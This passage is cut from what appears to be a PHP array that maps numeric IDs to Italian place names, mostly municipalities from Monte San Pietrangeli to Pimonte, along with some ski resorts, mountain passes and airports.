=> \"Monte San Pietrangeli\",4278 => \"Monte San Pietro\",8538 => \"Monte San Primo\",4279 => \"Monte San Savino\",8652 => \"Monte San Vigilio\",4280 => \"Monte San Vito\",4281 => \"Monte Sant'Angelo\",4282 => \"Monte Santa Maria Tiberina\",8570 => \"Monte Scuro\",8278 => \"Monte Spinale\",4283 => \"Monte Urano\",8758 => \"Monte Ventasso\",4284 => \"Monte Vidon Combatte\",4285 => \"Monte Vidon Corrado\",8729 => \"Monte Volturino\",8346 => \"Monte Zoncolan\",4286 => \"Montebello della Battaglia\",4287 => \"Montebello di Bertona\",4288 => \"Montebello Ionico\",4289 => \"Montebello sul Sangro\",4290 => \"Montebello Vicentino\",4291 => \"Montebelluna\",4292 => \"Montebruno\",4293 => \"Montebuono\",4294 => \"Montecalvo in Foglia\",4295 => \"Montecalvo Irpino\",4296 => \"Montecalvo Versiggia\",4297 => \"Montecarlo\",4298 => \"Montecarotto\",4299 => \"Montecassiano\",4300 => \"Montecastello\",4301 => \"Montecastrilli\",4303 => \"Montecatini terme\",4302 => \"Montecatini Val di Cecina\",4304 => \"Montecchia di Crosara\",4305 => \"Montecchio\",4306 => \"Montecchio Emilia\",4307 => \"Montecchio Maggiore\",4308 => \"Montecchio Precalcino\",4309 => \"Montechiaro d'Acqui\",4310 => \"Montechiaro d'Asti\",4311 => \"Montechiarugolo\",4312 => \"Monteciccardo\",4313 => \"Montecilfone\",4314 => \"Montecompatri\",4315 => \"Montecopiolo\",4316 => \"Montecorice\",4317 => \"Montecorvino Pugliano\",4318 => \"Montecorvino Rovella\",4319 => \"Montecosaro\",4320 => \"Montecrestese\",4321 => \"Montecreto\",4322 => \"Montedinove\",4323 => \"Montedoro\",4324 => \"Montefalcione\",4325 => \"Montefalco\",4326 => \"Montefalcone Appennino\",4327 => \"Montefalcone di Val Fortore\",4328 => \"Montefalcone nel Sannio\",4329 => \"Montefano\",4330 => \"Montefelcino\",4331 => \"Monteferrante\",4332 => \"Montefiascone\",4333 => \"Montefino\",4334 => \"Montefiore conca\",4335 => \"Montefiore dell'Aso\",4336 => \"Montefiorino\",4337 => \"Monteflavio\",4338 => \"Monteforte Cilento\",4339 => \"Monteforte d'Alpone\",4340 => \"Monteforte Irpino\",4341 => \"Montefortino\",4342 => \"Montefranco\",4343 => \"Montefredane\",4344 => \"Montefusco\",4345 => \"Montegabbione\",4346 => \"Montegalda\",4347 => \"Montegaldella\",4348 => \"Montegallo\",4349 => \"Montegioco\",4350 => \"Montegiordano\",4351 => \"Montegiorgio\",4352 => \"Montegranaro\",4353 => \"Montegridolfo\",4354 => \"Montegrimano\",4355 => \"Montegrino valtravaglia\",4356 => \"Montegrosso d'Asti\",4357 => \"Montegrosso pian latte\",4358 => \"Montegrotto terme\",4359 => \"Monteiasi\",4360 => \"Montelabbate\",4361 => \"Montelanico\",4362 => \"Montelapiano\",4363 => \"Monteleone d'orvieto\",4364 => \"Monteleone di fermo\",4365 => \"Monteleone di puglia\",4366 => \"Monteleone di spoleto\",4367 => \"Monteleone rocca doria\",4368 => \"Monteleone sabino\",4369 => \"Montelepre\",4370 => \"Montelibretti\",4371 => \"Montella\",4372 => \"Montello\",4373 => \"Montelongo\",4374 => \"Montelparo\",4375 => \"Montelupo albese\",4376 => \"Montelupo fiorentino\",4377 => \"Montelupone\",4378 => \"Montemaggiore al metauro\",4379 => \"Montemaggiore belsito\",4380 => \"Montemagno\",4381 => \"Montemale di cuneo\",4382 => \"Montemarano\",4383 => \"Montemarciano\",4384 => \"Montemarzino\",4385 => \"Montemesola\",4386 => \"Montemezzo\",4387 => \"Montemignaio\",4388 => \"Montemiletto\",8401 => \"Montemilone\",4390 => \"Montemitro\",4391 => \"Montemonaco\",4392 => \"Montemurlo\",8408 => \"Montemurro\",4394 => \"Montenars\",4395 => \"Montenero di bisaccia\",4396 => \"Montenero sabino\",4397 => \"Montenero val cocchiara\",4398 => \"Montenerodomo\",4399 => \"Monteodorisio\",4400 => \"Montepaone\",4401 => \"Monteparano\",8296 => \"Montepiano\",4402 => \"Monteprandone\",4403 => \"Montepulciano\",4404 => \"Monterado\",4405 => \"Monterchi\",4406 => \"Montereale\",4407 => \"Montereale valcellina\",4408 => \"Monterenzio\",4409 => \"Monteriggioni\",4410 => \"Monteroduni\",4411 => \"Monteroni d'arbia\",4412 => \"Monteroni di lecce\",4413 => \"Monterosi\",4414 => \"Monterosso al mare\",4415 => \"Monterosso almo\",4416 => \"Monterosso calabro\",4417 => \"Monterosso grana\",4418 => \"Monterotondo\",4419 => \"Monterotondo marittimo\",4420 => \"Monterubbiano\",4421 => \"Montesano salentino\",4422 => \"Montesano sulla marcellana\",4423 => \"Montesarchio\",8389 => \"Montescaglioso\",4425 => \"Montescano\",4426 => \"Montescheno\",4427 => \"Montescudaio\",4428 => \"Montescudo\",4429 => \"Montese\",4430 => \"Montesegale\",4431 => \"Montesilvano\",8491 => \"Montesilvano Marina\",4432 => \"Montespertoli\",1730 => \"Montespluga\",4433 => \"Monteu da Po\",4434 => \"Monteu roero\",4435 => \"Montevago\",4436 => \"Montevarchi\",4437 => \"Montevecchia\",4438 => \"Monteveglio\",4439 => \"Monteverde\",4440 => \"Monteverdi marittimo\",8589 => \"Montevergine\",4441 => \"Monteviale\",4442 => \"Montezemolo\",4443 => \"Monti\",4444 => \"Montiano\",4445 => \"Monticelli brusati\",4446 => \"Monticelli d'ongina\",4447 => \"Monticelli pavese\",4448 => \"Monticello brianza\",4449 => \"Monticello conte otto\",4450 => \"Monticello d'alba\",4451 => \"Montichiari\",4452 => \"Monticiano\",4453 => \"Montieri\",4454 => \"Montiglio monferrato\",4455 => \"Montignoso\",4456 => \"Montirone\",4457 => \"Montjovet\",4458 => \"Montodine\",4459 => \"Montoggio\",4460 => \"Montone\",4461 => \"Montopoli di sabina\",4462 => \"Montopoli in val d'arno\",4463 => \"Montorfano\",4464 => \"Montorio al vomano\",4465 => \"Montorio nei frentani\",4466 => \"Montorio romano\",4467 => \"Montoro inferiore\",4468 => \"Montoro superiore\",4469 => \"Montorso vicentino\",4470 => \"Montottone\",4471 => \"Montresta\",4472 => \"Montu' beccaria\",8326 => \"Montzeuc\",4473 => \"Monvalle\",8726 => \"Monviso\",4474 => \"Monza\",4475 => \"Monzambano\",4476 => \"Monzuno\",4477 => \"Morano calabro\",4478 => \"Morano sul Po\",4479 => \"Moransengo\",4480 => \"Moraro\",4481 => \"Morazzone\",4482 => \"Morbegno\",4483 => \"Morbello\",4484 => \"Morciano di leuca\",4485 => \"Morciano di romagna\",4486 => \"Morcone\",4487 => \"Mordano\",8262 => \"Morel\",4488 => \"Morengo\",4489 => \"Mores\",4490 => \"Moresco\",4491 => \"Moretta\",4492 => \"Morfasso\",4493 => \"Morgano\",8717 => \"Morgantina\",4494 => \"Morgex\",4495 => \"Morgongiori\",4496 => \"Mori\",4497 => \"Moriago della battaglia\",4498 => \"Moricone\",4499 => \"Morigerati\",4500 => \"Morimondo\",4501 => \"Morino\",4502 => \"Moriondo torinese\",4503 => \"Morlupo\",4504 => \"Mormanno\",4505 => \"Mornago\",4506 => \"Mornese\",4507 => \"Mornico al serio\",4508 => \"Mornico losana\",4509 => \"Morolo\",4510 => \"Morozzo\",4511 => \"Morra de sanctis\",4512 => \"Morro d'alba\",4513 => \"Morro d'oro\",4514 => \"Morro reatino\",4515 => \"Morrone del sannio\",4516 => \"Morrovalle\",4517 => \"Morsano al tagliamento\",4518 => \"Morsasco\",4519 => \"Mortara\",4520 => \"Mortegliano\",4521 => \"Morterone\",4522 => \"Moruzzo\",4523 => \"Moscazzano\",4524 => \"Moschiano\",4525 => \"Mosciano sant'angelo\",4526 => \"Moscufo\",4527 => \"Moso in Passiria\",4528 => \"Mossa\",4529 => \"Mossano\",4530 => \"Mosso Santa Maria\",4531 => \"Motta baluffi\",4532 => \"Motta Camastra\",4533 => \"Motta d'affermo\",4534 => \"Motta de' conti\",4535 => \"Motta di livenza\",4536 => \"Motta montecorvino\",4537 => \"Motta san giovanni\",4538 => \"Motta sant'anastasia\",4539 => \"Motta santa lucia\",4540 => \"Motta visconti\",4541 => \"Mottafollone\",4542 => \"Mottalciata\",8621 => \"Mottarone\",4543 => \"Motteggiana\",4544 => \"Mottola\",8254 => \"Mottolino\",4545 => \"Mozzagrogna\",4546 => \"Mozzanica\",4547 => \"Mozzate\",4548 => \"Mozzecane\",4549 => \"Mozzo\",4550 => \"Muccia\",4551 => \"Muggia\",4552 => \"Muggio'\",4553 => \"Mugnano del cardinale\",4554 => \"Mugnano di napoli\",4555 => \"Mulazzano\",4556 => \"Mulazzo\",4557 => \"Mura\",4558 => \"Muravera\",4559 => \"Murazzano\",4560 => \"Murello\",4561 => \"Murialdo\",4562 => \"Murisengo\",4563 => \"Murlo\",4564 => \"Muro leccese\",4565 => \"Muro lucano\",4566 => \"Muros\",4567 => \"Muscoline\",4568 => \"Musei\",4569 => \"Musile di piave\",4570 => \"Musso\",4571 => \"Mussolente\",4572 => \"Mussomeli\",4573 => \"Muzzana del turgnano\",4574 => \"Muzzano\",4575 => \"Nago torbole\",4576 => \"Nalles\",4577 => \"Nanno\",4578 => \"Nanto\",4579 => \"Napoli\",8498 => \"Napoli Capodichino\",4580 => \"Narbolia\",4581 => \"Narcao\",4582 => \"Nardo'\",4583 => \"Nardodipace\",4584 => \"Narni\",4585 => \"Naro\",4586 => \"Narzole\",4587 => \"Nasino\",4588 => \"Naso\",4589 => \"Naturno\",4590 => \"Nave\",4591 => \"Nave san rocco\",4592 => \"Navelli\",4593 => \"Naz Sciaves\",4594 => \"Nazzano\",4595 => \"Ne\",4596 => \"Nebbiuno\",4597 => \"Negrar\",4598 => \"Neirone\",4599 => \"Neive\",4600 => \"Nembro\",4601 => \"Nemi\",8381 => \"Nemoli\",4603 => \"Neoneli\",4604 => \"Nepi\",4605 => \"Nereto\",4606 => \"Nerola\",4607 => \"Nervesa della battaglia\",4608 => \"Nerviano\",4609 => \"Nespolo\",4610 => \"Nesso\",4611 => \"Netro\",4612 => \"Nettuno\",4613 => \"Neviano\",4614 => \"Neviano degli arduini\",4615 => \"Neviglie\",4616 => \"Niardo\",4617 => \"Nibbiano\",4618 => \"Nibbiola\",4619 => \"Nibionno\",4620 => \"Nichelino\",4621 => \"Nicolosi\",4622 => \"Nicorvo\",4623 => \"Nicosia\",4624 => \"Nicotera\",8117 => \"Nicotera Marina\",4625 => \"Niella belbo\",8475 => \"Niella Tanaro\",4627 => \"Nimis\",4628 => \"Niscemi\",4629 => \"Nissoria\",4630 => \"Nizza di sicilia\",4631 => \"Nizza monferrato\",4632 => \"Noale\",4633 => \"Noasca\",4634 => \"Nocara\",4635 => \"Nocciano\",4636 => \"Nocera inferiore\",4637 => \"Nocera superiore\",4638 => \"Nocera terinese\",4639 => \"Nocera umbra\",4640 => \"Noceto\",4641 => \"Noci\",4642 => \"Nociglia\",8375 => \"Noepoli\",4644 => \"Nogara\",4645 => \"Nogaredo\",4646 => \"Nogarole rocca\",4647 => \"Nogarole vicentino\",4648 => \"Noicattaro\",4649 => \"Nola\",4650 => \"Nole\",4651 => \"Noli\",4652 => \"Nomaglio\",4653 => \"Nomi\",4654 => \"Nonantola\",4655 => \"None\",4656 => \"Nonio\",4657 => \"Noragugume\",4658 => \"Norbello\",4659 => \"Norcia\",4660 => \"Norma\",4661 => \"Nosate\",4662 => \"Notaresco\",4663 => \"Noto\",4664 => \"Nova Levante\",4665 => \"Nova milanese\",4666 => \"Nova Ponente\",8428 => \"Nova siri\",4668 => \"Novafeltria\",4669 => \"Novaledo\",4670 => \"Novalesa\",4671 => \"Novara\",4672 => \"Novara di Sicilia\",4673 => \"Novate mezzola\",4674 => \"Novate milanese\",4675 => \"Nove\",4676 => \"Novedrate\",4677 => \"Novellara\",4678 => \"Novello\",4679 => \"Noventa di piave\",4680 => \"Noventa padovana\",4681 => \"Noventa vicentina\",4682 => \"Novi di modena\",4683 => \"Novi ligure\",4684 => \"Novi velia\",4685 => \"Noviglio\",4686 => \"Novoli\",4687 => \"Nucetto\",4688 => \"Nughedu di san nicolo'\",4689 => \"Nughedu santa vittoria\",4690 => \"Nule\",4691 => \"Nulvi\",4692 => \"Numana\",4693 => \"Nuoro\",4694 => \"Nurachi\",4695 => \"Nuragus\",4696 => \"Nurallao\",4697 => \"Nuraminis\",4698 => \"Nureci\",4699 => \"Nurri\",4700 => \"Nus\",4701 => \"Nusco\",4702 => \"Nuvolento\",4703 => \"Nuvolera\",4704 => \"Nuxis\",8260 => \"Obereggen\",4705 => \"Occhieppo inferiore\",4706 => \"Occhieppo superiore\",4707 => \"Occhiobello\",4708 => \"Occimiano\",4709 => \"Ocre\",4710 => \"Odalengo grande\",4711 => \"Odalengo piccolo\",4712 => \"Oderzo\",4713 => \"Odolo\",4714 => \"Ofena\",4715 => \"Offagna\",4716 => \"Offanengo\",4717 => \"Offida\",4718 => \"Offlaga\",4719 => \"Oggebbio\",4720 => \"Oggiona con santo stefano\",4721 => \"Oggiono\",4722 => \"Oglianico\",4723 => \"Ogliastro cilento\",4724 => \"Olbia\",8470 => \"Olbia Costa Smeralda\",4725 => \"Olcenengo\",4726 => \"Oldenico\",4727 => \"Oleggio\",4728 => \"Oleggio castello\",4729 => \"Olevano di lomellina\",4730 => \"Olevano romano\",4731 => \"Olevano sul tusciano\",4732 => \"Olgiate comasco\",4733 => \"Olgiate molgora\",4734 => \"Olgiate olona\",4735 => \"Olginate\",4736 => \"Oliena\",4737 => \"Oliva gessi\",4738 => \"Olivadi\",4739 => \"Oliveri\",4740 => \"Oliveto citra\",4741 => \"Oliveto lario\",8426 => \"Oliveto lucano\",4743 => \"Olivetta san michele\",4744 => \"Olivola\",4745 => \"Ollastra simaxis\",4746 => \"Ollolai\",4747 => \"Ollomont\",4748 => \"Olmedo\",4749 => \"Olmeneta\",4750 => \"Olmo al brembo\",4751 => \"Olmo gentile\",4752 => \"Oltre il colle\",4753 => \"Oltressenda alta\",4754 => \"Oltrona di san mamette\",4755 => \"Olzai\",4756 => \"Ome\",4757 => \"Omegna\",4758 => \"Omignano\",4759 => \"Onani\",4760 => \"Onano\",4761 => \"Oncino\",8283 => \"Oneglia\",4762 => \"Oneta\",4763 => \"Onifai\",4764 => \"Oniferi\",8664 => \"Onna\",4765 => \"Ono san pietro\",4766 => \"Onore\",4767 => \"Onzo\",4768 => \"Opera\",4769 => \"Opi\",4770 => \"Oppeano\",8409 => \"Oppido lucano\",4772 => \"Oppido mamertina\",4773 => \"Ora\",4774 => \"Orani\",4775 => \"Oratino\",4776 => \"Orbassano\",4777 => \"Orbetello\",4778 => \"Orciano di pesaro\",4779 => \"Orciano pisano\",4780 => \"Orco feglino\",4781 => \"Ordona\",4782 => \"Orero\",4783 => \"Orgiano\",4784 => \"Orgosolo\",4785 => \"Oria\",4786 => \"Oricola\",4787 => \"Origgio\",4788 => \"Orino\",4789 => \"Orio al serio\",4790 => \"Orio canavese\",4791 => \"Orio litta\",4792 => \"Oriolo\",4793 => \"Oriolo romano\",4794 => \"Oristano\",4795 => \"Ormea\",4796 => \"Ormelle\",4797 => \"Ornago\",4798 => \"Ornavasso\",4799 => \"Ornica\",8348 => \"Oropa\",8169 => \"Orosei\",4801 => \"Orotelli\",4802 => \"Orria\",4803 => \"Orroli\",4804 => \"Orsago\",4805 => \"Orsara bormida\",4806 => \"Orsara di puglia\",4807 => \"Orsenigo\",4808 => \"Orsogna\",4809 => \"Orsomarso\",4810 => \"Orta di atella\",4811 => \"Orta nova\",4812 => \"Orta san giulio\",4813 => \"Ortacesus\",4814 => \"Orte\",8460 => \"Orte casello\",4815 => \"Ortelle\",4816 => \"Ortezzano\",4817 => \"Ortignano raggiolo\",4818 => \"Ortisei\",8725 => \"Ortles\",4819 => \"Ortona\",4820 => \"Ortona dei marsi\",4821 => \"Ortonovo\",4822 => \"Ortovero\",4823 => \"Ortucchio\",4824 => \"Ortueri\",4825 => \"Orune\",4826 => \"Orvieto\",8459 => \"Orvieto casello\",4827 => \"Orvinio\",4828 => \"Orzinuovi\",4829 => \"Orzivecchi\",4830 => \"Osasco\",4831 => \"Osasio\",4832 => \"Oschiri\",4833 => \"Osidda\",4834 => \"Osiglia\",4835 => \"Osilo\",4836 => \"Osimo\",4837 => \"Osini\",4838 => \"Osio sopra\",4839 => \"Osio sotto\",4840 => \"Osmate\",4841 => \"Osnago\",8465 => \"Osoppo\",4843 => \"Ospedaletti\",4844 => \"Ospedaletto\",4845 => \"Ospedaletto d'alpinolo\",4846 => \"Ospedaletto euganeo\",4847 => \"Ospedaletto lodigiano\",4848 => \"Ospitale di cadore\",4849 => \"Ospitaletto\",4850 => \"Ossago lodigiano\",4851 => \"Ossana\",4852 => \"Ossi\",4853 => \"Ossimo\",4854 => \"Ossona\",4855 => \"Ossuccio\",4856 => \"Ostana\",4857 => \"Ostellato\",4858 => \"Ostiano\",4859 => \"Ostiglia\",4860 => \"Ostra\",4861 => \"Ostra vetere\",4862 => \"Ostuni\",4863 => \"Otranto\",4864 => \"Otricoli\",4865 => \"Ottana\",4866 => \"Ottati\",4867 => \"Ottaviano\",4868 => \"Ottiglio\",4869 => \"Ottobiano\",4870 => \"Ottone\",4871 => \"Oulx\",4872 => \"Ovada\",4873 => \"Ovaro\",4874 => \"Oviglio\",4875 => \"Ovindoli\",4876 => \"Ovodda\",4877 => \"Oyace\",4878 => \"Ozegna\",4879 => \"Ozieri\",4880 => \"Ozzano dell'emilia\",4881 => \"Ozzano monferrato\",4882 => \"Ozzero\",4883 => \"Pabillonis\",4884 => \"Pace del mela\",4885 => \"Paceco\",4886 => \"Pacentro\",4887 => \"Pachino\",4888 => \"Paciano\",4889 => \"Padenghe sul garda\",4890 => \"Padergnone\",4891 => \"Paderna\",4892 => \"Paderno d'adda\",4893 => \"Paderno del grappa\",4894 => \"Paderno dugnano\",4895 => \"Paderno franciacorta\",4896 => \"Paderno ponchielli\",4897 => \"Padova\",4898 => \"Padria\",4899 => \"Padru\",4900 => \"Padula\",4901 => \"Paduli\",4902 => \"Paesana\",4903 => \"Paese\",8713 => \"Paestum\",8203 => \"Paganella\",4904 => \"Pagani\",8663 => \"Paganica\",4905 => \"Paganico\",4906 => \"Pagazzano\",4907 => \"Pagliara\",4908 => \"Paglieta\",4909 => \"Pagnacco\",4910 => \"Pagno\",4911 => \"Pagnona\",4912 => \"Pago del vallo di lauro\",4913 => \"Pago veiano\",4914 => \"Paisco loveno\",4915 => \"Paitone\",4916 => \"Paladina\",8534 => \"Palafavera\",4917 => \"Palagano\",4918 => \"Palagianello\",4919 => \"Palagiano\",4920 => \"Palagonia\",4921 => \"Palaia\",4922 => \"Palanzano\",4923 => \"Palata\",4924 => \"Palau\",4925 => \"Palazzago\",4926 => \"Palazzo adriano\",4927 => \"Palazzo canavese\",4928 => \"Palazzo pignano\",4929 => \"Palazzo san gervasio\",4930 => \"Palazzolo acreide\",4931 => \"Palazzolo dello stella\",4932 => \"Palazzolo sull'Oglio\",4933 => \"Palazzolo vercellese\",4934 => \"Palazzuolo sul senio\",4935 => \"Palena\",4936 => \"Palermiti\",4937 => \"Palermo\",8575 => \"Palermo Boccadifalco\",8272 => \"Palermo Punta Raisi\",4938 => \"Palestrina\",4939 => \"Palestro\",4940 => \"Paliano\",8121 => \"Palinuro\",4941 => \"Palizzi\",8108 => \"Palizzi Marina\",4942 => \"Pallagorio\",4943 => \"Pallanzeno\",4944 => \"Pallare\",4945 => \"Palma campania\",4946 => \"Palma di montechiaro\",4947 => \"Palmanova\",4948 => \"Palmariggi\",4949 => \"Palmas arborea\",4950 => \"Palmi\",4951 => \"Palmiano\",4952 => \"Palmoli\",4953 => \"Palo del colle\",4954 => \"Palombara sabina\",4955 => \"Palombaro\",4956 => \"Palomonte\",4957 => \"Palosco\",4958 => \"Palu'\",4959 => \"Palu' del fersina\",4960 => \"Paludi\",4961 => \"Paluzza\",4962 => \"Pamparato\",8257 => \"Pampeago\",8753 => \"Panarotta\",4963 => \"Pancalieri\",8261 => \"Pancani\",4964 => \"Pancarana\",4965 => \"Panchia'\",4966 => \"Pandino\",4967 => \"Panettieri\",4968 => \"Panicale\",4969 => \"Pannarano\",4970 => \"Panni\",4971 => \"Pantelleria\",4972 => \"Pantigliate\",4973 => \"Paola\",4974 => \"Paolisi\",4975 => \"Papasidero\",4976 => \"Papozze\",4977 => \"Parabiago\",4978 => \"Parabita\",4979 => \"Paratico\",4980 => \"Parcines\",4981 => \"Pare'\",4982 => \"Parella\",4983 => \"Parenti\",4984 => \"Parete\",4985 => \"Pareto\",4986 => \"Parghelia\",4987 => \"Parlasco\",4988 => \"Parma\",8554 => \"Parma Verdi\",4989 => \"Parodi ligure\",4990 => \"Paroldo\",4991 => \"Parolise\",4992 => \"Parona\",4993 => \"Parrano\",4994 => \"Parre\",4995 => \"Partanna\",4996 => \"Partinico\",4997 => \"Paruzzaro\",4998 => \"Parzanica\",4999 => \"Pasian di prato\",5000 => \"Pasiano di pordenone\",5001 => \"Paspardo\",5002 => \"Passerano Marmorito\",5003 => \"Passignano sul trasimeno\",5004 => \"Passirano\",8613 => \"Passo Bernina\",8760 => \"Passo Campolongo\",8329 => \"Passo Costalunga\",8618 => \"Passo dei Salati\",8207 => \"Passo del Brennero\",8577 => \"Passo del Brocon\",8627 => \"Passo del Cerreto\",8147 => \"Passo del Foscagno\",8308 => \"Passo del Lupo\",8206 => \"Passo del Rombo\",8150 => \"Passo del Tonale\",8196 => \"Passo della Cisa\",8235 => \"Passo della Consuma\",8290 => \"Passo della Presolana\",8659 => \"Passo delle Fittanze\",8145 => \"Passo dello Stelvio\",8213 => \"Passo di Resia\",8752 => \"Passo di Vezzena\",8328 => \"Passo Fedaia\",8759 => \"Passo Gardena\",8277 => \"Passo Groste'\",8756 => \"Passo Lanciano\",8280 => \"Passo Pordoi\",8626 => \"Passo Pramollo\",8210 => \"Passo Rolle\",8279 => \"Passo San Pellegrino\",8325 => \"Passo Sella\",5005 => \"Pastena\",5006 => \"Pastorano\",5007 => \"Pastrengo\",5008 => \"Pasturana\",5009 => \"Pasturo\",8417 => \"Paterno\",5011 => \"Paterno calabro\",5012 => \"Paterno'\",5013 => \"Paternopoli\",5014 => \"Patrica\",5015 => \"Pattada\",5016 => \"Patti\",5017 => \"Patu'\",5018 => \"Pau\",5019 => \"Paularo\",5020 => \"Pauli arbarei\",5021 => \"Paulilatino\",5022 => \"Paullo\",5023 => \"Paupisi\",5024 => \"Pavarolo\",5025 => \"Pavia\",5026 => \"Pavia di udine\",5027 => \"Pavone canavese\",5028 => \"Pavone del mella\",5029 => \"Pavullo nel frignano\",5030 => \"Pazzano\",5031 => \"Peccioli\",5032 => \"Pecco\",5033 => \"Pecetto di valenza\",5034 => \"Pecetto torinese\",5035 => \"Pecorara\",5036 => \"Pedace\",5037 => \"Pedara\",5038 => \"Pedaso\",5039 => \"Pedavena\",5040 => \"Pedemonte\",5041 => \"Pederobba\",5042 => \"Pedesina\",5043 => \"Pedivigliano\",8473 => \"Pedraces\",5044 => \"Pedrengo\",5045 => \"Peglio\",5046 => \"Peglio\",5047 => \"Pegognaga\",5048 => \"Peia\",8665 => \"Pejo\",5050 => \"Pelago\",5051 => \"Pella\",5052 => \"Pellegrino parmense\",5053 => \"Pellezzano\",5054 => \"Pellio intelvi\",5055 => \"Pellizzano\",5056 => \"Pelugo\",5057 => \"Penango\",5058 => \"Penna in teverina\",5059 => \"Penna san giovanni\",5060 => \"Penna sant'andrea\",5061 => \"Pennabilli\",5062 => \"Pennadomo\",5063 => \"Pennapiedimonte\",5064 => \"Penne\",8208 => \"Pennes\",5065 => \"Pentone\",5066 => \"Perano\",5067 => \"Perarolo di cadore\",5068 => \"Perca\",5069 => \"Percile\",5070 => \"Perdasdefogu\",5071 => \"Perdaxius\",5072 => \"Perdifumo\",5073 => \"Perego\",5074 => \"Pereto\",5075 => \"Perfugas\",5076 => \"Pergine valdarno\",5077 => \"Pergine valsugana\",5078 => \"Pergola\",5079 => \"Perinaldo\",5080 => \"Perito\",5081 => \"Perledo\",5082 => \"Perletto\",5083 => \"Perlo\",5084 => \"Perloz\",5085 => \"Pernumia\",5086 => \"Pero\",5087 => \"Perosa argentina\",5088 => \"Perosa canavese\",5089 => \"Perrero\",5090 => \"Persico dosimo\",5091 => \"Pertengo\",5092 => \"Pertica alta\",5093 => \"Pertica bassa\",8586 => \"Perticara di Novafeltria\",5094 => \"Pertosa\",5095 => \"Pertusio\",5096 => \"Perugia\",8555 => \"Perugia Sant'Egidio\",5097 => \"Pesaro\",5098 => \"Pescaglia\",5099 => \"Pescantina\",5100 => \"Pescara\",8275 => \"Pescara Liberi\",5101 => \"Pescarolo ed uniti\",5102 => \"Pescasseroli\",5103 => \"Pescate\",8312 => \"Pescegallo\",5104 => \"Pesche\",5105 => \"Peschici\",5106 => \"Peschiera borromeo\",5107 => \"Peschiera del garda\",5108 => \"Pescia\",5109 => \"Pescina\",8454 => \"Pescina casello\",5110 => \"Pesco sannita\",5111 => \"Pescocostanzo\",5112 => \"Pescolanciano\",5113 => \"Pescopagano\",5114 => \"Pescopennataro\",5115 => \"Pescorocchiano\",5116 => \"Pescosansonesco\",5117 => \"Pescosolido\",5118 => \"Pessano con Bornago\",5119 => \"Pessina cremonese\",5120 => \"Pessinetto\",5121 => \"Petacciato\",5122 => \"Petilia policastro\",5123 => \"Petina\",5124 => \"Petralia soprana\",5125 => \"Petralia sottana\",5126 => \"Petrella salto\",5127 => \"Petrella tifernina\",5128 => \"Petriano\",5129 => \"Petriolo\",5130 => \"Petritoli\",5131 => \"Petrizzi\",5132 => \"Petrona'\",5133 => \"Petrosino\",5134 => \"Petruro irpino\",5135 => \"Pettenasco\",5136 => \"Pettinengo\",5137 => \"Pettineo\",5138 => \"Pettoranello del molise\",5139 => \"Pettorano sul gizio\",5140 => \"Pettorazza grimani\",5141 => \"Peveragno\",5142 => \"Pezzana\",5143 => \"Pezzaze\",5144 => \"Pezzolo valle uzzone\",5145 => \"Piacenza\",5146 => \"Piacenza d'adige\",5147 => \"Piadena\",5148 => \"Piagge\",5149 => \"Piaggine\",8706 => \"Piamprato\",5150 => \"Pian camuno\",8309 => \"Pian Cavallaro\",8233 => \"Pian del Cansiglio\",8642 => \"Pian del Frais\",8705 => \"Pian della Mussa\",8634 => \"Pian delle Betulle\",5151 => \"Pian di sco'\",8712 => \"Pian di Sole\",5152 => \"Piana crixia\",5153 => \"Piana degli albanesi\",8653 => \"Piana di Marcesina\",5154 => \"Piana di monte verna\",8305 => \"Pianalunga\",5155 => \"Piancastagnaio\",8516 => \"Piancavallo\",5156 => \"Piancogno\",5157 => \"Piandimeleto\",5158 => \"Piane crati\",8561 => \"Piane di Mocogno\",5159 => \"Pianella\",5160 => \"Pianello del lario\",5161 => \"Pianello val tidone\",5162 => \"Pianengo\",5163 => \"Pianezza\",5164 => \"Pianezze\",5165 => \"Pianfei\",8605 => \"Piani d'Erna\",8517 => \"Piani di Artavaggio\",8234 => \"Piani di Bobbio\",5166 => \"Pianico\",5167 => \"Pianiga\",8314 => \"Piano del Voglio\",5168 => \"Piano di Sorrento\",8630 => \"Piano Provenzana\",5169 => \"Pianopoli\",5170 => \"Pianoro\",5171 => \"Piansano\",5172 => \"Piantedo\",5173 => \"Piario\",5174 => \"Piasco\",5175 => \"Piateda\",5176 => \"Piatto\",5177 => \"Piazza al serchio\",5178 => \"Piazza armerina\",5179 => \"Piazza brembana\",5180 => \"Piazzatorre\",5181 => \"Piazzola sul brenta\",5182 => \"Piazzolo\",5183 => \"Picciano\",5184 => \"Picerno\",5185 => \"Picinisco\",5186 => \"Pico\",5187 => \"Piea\",5188 => \"Piedicavallo\",8218 => \"Piediluco\",5189 => \"Piedimonte etneo\",5190 => \"Piedimonte matese\",5191 => \"Piedimonte san germano\",5192 => \"Piedimulera\",5193 => \"Piegaro\",5194 => \"Pienza\",5195 => \"Pieranica\",5196 => \"Pietra de'giorgi\",5197 => \"Pietra ligure\",5198 => \"Pietra marazzi\",5199 => \"Pietrabbondante\",5200 => \"Pietrabruna\",5201 => \"Pietracamela\",5202 => \"Pietracatella\",5203 => \"Pietracupa\",5204 => \"Pietradefusi\",5205 => \"Pietraferrazzana\",5206 => \"Pietrafitta\",5207 => \"Pietragalla\",5208 => \"Pietralunga\",5209 => \"Pietramelara\",5210 => \"Pietramontecorvino\",5211 => \"Pietranico\",5212 => \"Pietrapaola\",5213 => \"Pietrapertosa\",5214 => \"Pietraperzia\",5215 => \"Pietraporzio\",5216 => \"Pietraroja\",5217 => \"Pietrarubbia\",5218 => \"Pietrasanta\",5219 => \"Pietrastornina\",5220 => \"Pietravairano\",5221 => \"Pietrelcina\",5222 => \"Pieve a nievole\",5223 => \"Pieve albignola\",5224 => \"Pieve d'alpago\",5225 => \"Pieve d'olmi\",5226 => \"Pieve del cairo\",5227 => \"Pieve di bono\",5228 => \"Pieve di cadore\",5229 => \"Pieve di cento\",5230 => \"Pieve di coriano\",5231 => \"Pieve di ledro\",5232 => \"Pieve di soligo\",5233 => \"Pieve di teco\",5234 => \"Pieve emanuele\",5235 => \"Pieve fissiraga\",5236 => \"Pieve fosciana\",5237 => \"Pieve ligure\",5238 => \"Pieve porto morone\",5239 => \"Pieve san giacomo\",5240 => \"Pieve santo stefano\",5241 => \"Pieve tesino\",5242 => \"Pieve torina\",5243 => \"Pieve vergonte\",5244 => \"Pievebovigliana\",5245 => \"Pievepelago\",5246 => \"Piglio\",5247 => \"Pigna\",5248 => \"Pignataro interamna\",5249 => \"Pignataro maggiore\",5250 => \"Pignola\",5251 => \"Pignone\",5252 => \"Pigra\",5253 => \"Pila\",8221 => \"Pila\",5254 => \"Pimentel\",5255 => \"Pimonte\",5256 => 